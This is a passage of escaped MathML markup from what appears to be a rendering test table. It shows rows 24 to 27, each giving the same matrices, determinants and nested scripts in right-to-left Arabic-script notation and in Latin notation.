- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;g&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;h&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;l&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;&amp;#x1EE1C;&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;د&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;e&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;f&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;g&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;h&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;l&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;d&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;e&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;f&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;g&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;h&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mn&gt;۰&lt;/mn&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;j&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;l&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;24&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mi&gt;det&lt;/mi&gt;
- &lt;mo&gt;|&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;mldr;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;٣&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;mldr;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;٣&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;٤&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;mldr;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;#x22EE;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;#x22EE;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;#x22EE;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;#x22EE;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;mldr;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;|&lt;/mo&gt;
- &lt;mo&gt;&amp;gt;&lt;/mo&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mi&gt;det&lt;/mi&gt;
- &lt;mo&gt;|&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;mldr;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;٣&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;mldr;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;٣&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mn&gt;٤&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;mldr;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;#x22EE;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;#x22EE;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;#x22EE;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;#x22EE;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;mldr;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;|&lt;/mo&gt;
- &lt;mo&gt;&amp;gt;&lt;/mo&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mi&gt;det&lt;/mi&gt;
- &lt;mo&gt;|&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;۰&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;mldr;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;۳&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;mldr;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;۳&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mn&gt;۴&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;mldr;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;#x22EE;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;#x22EE;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;#x22EE;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;#x22EE;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mo&gt;&amp;mldr;&lt;/mo&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;msub&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mrow&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;|&lt;/mo&gt;
- &lt;mo&gt;&amp;gt;&lt;/mo&gt;
- &lt;mn&gt;۰&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;25&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/msub&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/msub&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;msub&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;msub&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msub&gt;
- &lt;/msub&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;26&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mn&gt;٩٢&lt;/mn&gt;
- &lt;mn&gt;٣١٤١٥&lt;/mn&gt;
- &lt;/msubsup&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;&amp;pi;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mn&gt;٩٢&lt;/mn&gt;
- &lt;mn&gt;٣١٤١٥&lt;/mn&gt;
- &lt;/msubsup&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;&amp;pi;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mn&gt;۹۲&lt;/mn&gt;
- &lt;mn&gt;۳۱۴۱۵&lt;/mn&gt;
- &lt;/msubsup&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;&amp;pi;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;27&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;mi&gt;&amp;#x1EE1C;&lt;/mi&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;/msubsup&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;ع&lt;/mi&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mi&gt;د&lt;/mi&gt;
- &lt;/msubsup&gt;
- &lt;/msubsup&gt;
- &lt;/math&gt;
